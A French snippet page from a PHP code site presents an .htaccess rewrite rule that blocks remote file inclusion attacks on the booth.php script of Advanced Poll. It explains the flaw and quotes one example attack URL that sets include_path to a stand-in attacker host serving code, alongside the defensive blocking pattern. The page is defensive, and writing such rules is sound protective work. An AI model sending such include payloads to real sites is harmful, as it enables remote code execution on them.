Bloquer les hackers utilisant le script booth.php

  Information

Les attaques par inclusion de fichier php distant sont nombreuses et les pirates d'internet en profitent.

Le script booth.php présent dans Advanced Poll (PHP) permet d'inclure du code ne se trouvant pas sur votre serveur si register_globals vaut OFF.

Le paramètre include_path est utilisé pour définir un chemin d'include distant.

Les url essayant de prendre la main sur le site sont sous la forme : http://www.example.com/booth.php?include_path=http://www.sitepourri.com/page.txt?

  code source classé dans  .HTACCESS ANTI HACK

 
 01    
 02    
 03    
 04    
 05    
 06    
 07    
 08    
 09    
 10    
 11    
 12    
 13    
 14    
 15    
 16    
                               
/*
Titre : Bloquer les hackers utilisant le script booth.php

URL : https://phpsources.net/code_s.php?id=755
Auteur : Forty
Website auteur : http://www.toplien.fr/
Date édition : 25 Mai 2008
Date mise a jour : 18 Aout 2019

Rapport de la maj:
- fonctionnement du code vérifié
*/
/*---------------------------------------------------------------*/?>
RewriteCond %{QUERY_STRING} ^(.*&)?include_path=http://
RewriteRule ^(.*/)?booth.php - [F,L]

   Un petit merci aux auteurs pour leur travail, ça ne coûte rien et ça fait toujours plaisir wink

 Autres snippets qui pourraient vous intéressez

Adresse e-mail/mailto anti-spam (utilisant Javascript)

Compatibilité : PHP 5, PHP 7, PHP 8

Ce script vous permet de crée des liens mailto indéchiffrable par les robots alors que les réels utilisateurs verront votre adresse.

[PHP/SQL] Script de pagination (un modèe) - PHP Sources

Compatibilité : PHP 4, PHP 5

Script de pagination en PHP avec 2 requêtes SQL. Caractéristiques : - deux paramétres dans l'URL : nombre d'éléments par page et page actuelle

Exécute une chaine comme un script PHP

Compatibilité : PHP 5, PHP 7, PHP 8

Exécute une chaîne comme un script PHP. Utilisation fortement déconseillée car la fonction eval () autorise l'exécution de code PHP arbitraire.

Initialise le temps d'exécution d'un script php

Compatibilité : PHP 5, PHP 7, PHP 8

2 tests pour apprendre comment utiliser la fonction set_time_limit () et réinitialiser le temps d'exécution d'une partie d'un code.

Classe qui calcul le temps d'exécution d'un script PHP

Compatibilité : PHP 5, PHP 7, PHP 8

Classe qui calcul le temps d'exécution d'un script et affiche le résultat en microsecondes.

* Requêtes exécutées avec Recherche Contextuelle
avatar

Forty

  25 Mai 2008

  SOURCE   Télécharger

Information sur les mises à jour

Dernière mise à jour :

    18 Aout 2019
    fonctionnement du code vérifié

9 904 Vues
Compatibilité du code
PHP 5, 7 et 8+
avatar